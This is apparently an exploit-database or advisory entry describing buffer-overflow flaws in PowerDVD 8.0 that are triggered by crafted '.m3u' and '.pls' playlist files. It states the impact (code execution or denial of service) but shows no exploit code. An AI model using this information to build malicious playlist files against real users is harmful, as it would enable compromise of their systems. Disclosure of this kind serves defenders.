PowerDVD 8.0 '.m3u' and '.pls' File Multiple Buffer Overflow Vulnerabilities. Dos exploit for windows platform

PowerDVD is prone to multiple buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied input.

Successfully exploiting these issues may allow remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts will cause denial-of-service conditions.

PowerDVD 8.0 is vulnerable; prior versions may also be affected.
